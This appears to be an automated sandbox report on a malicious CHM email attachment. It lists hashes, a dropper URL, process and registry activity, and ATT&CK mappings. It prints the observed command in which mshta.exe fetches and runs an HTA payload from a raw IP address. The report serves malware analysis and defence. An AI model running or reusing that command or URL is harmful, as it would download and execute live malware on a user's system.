b16ebaec337178a9f4c661d84a9998e453f4b693eab3e3fbc9bb6b957661f3c6

Analysis

max time kernel
55s
max time network
45s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
21-03-2023 23:32

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General

Target

MAIL_20230125151802.chm
Size

10KB
MD5

45bd3001517f5e913ddde83827f4cc29
SHA1

710a7d78c4bbca17d6cefce8c392e7d358c37a8d
SHA256

c80fbab8c27cb9be91885a470377088d6639b95b85dfe5ae3c346e537b143a87
SHA512

c2dcf7d3d6e1353fe6259e326517c07c2e168bc83c0847c293d15d2a0fcc0bbec31506de2347b45a6455465d88a27bde68179352c4473a8eac7ce63b3581bb75
SSDEEP

48:U5yGg202QRlEFlErlElZO5sD7GH6N6xWX3VGJtihAxkNzY94ApKSE7HWVMjUBxBD:U5y6khHq6UMl94A0AMjUBxBjR7UyEf0

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://141.105.65.165/data/3.html

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow pid process

3 1196 mshta.exe
5 1196 mshta.exe

flow	pid	process
3	1196	mshta.exe
5	1196	mshta.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

hh.exemshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Internet Explorer\Main	hh.exe
Key created	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

AUDIODG.EXE

description	pid	process
Token: 33	1472	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1472	AUDIODG.EXE
Token: 33	1472	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1472	AUDIODG.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

hh.exe

pid process

748 hh.exe
748 hh.exe

pid	process
748	hh.exe
748	hh.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

hh.exe

description	pid	process	target process
PID 748 wrote to memory of 1196	748	hh.exe	mshta.exe
PID 748 wrote to memory of 1196	748	hh.exe	mshta.exe
PID 748 wrote to memory of 1196	748	hh.exe	mshta.exe

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\MAIL_20230125151802.chm
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:748

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" http://141.105.65.165/data/3.html ,
2⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
PID:1196

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x458
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1472

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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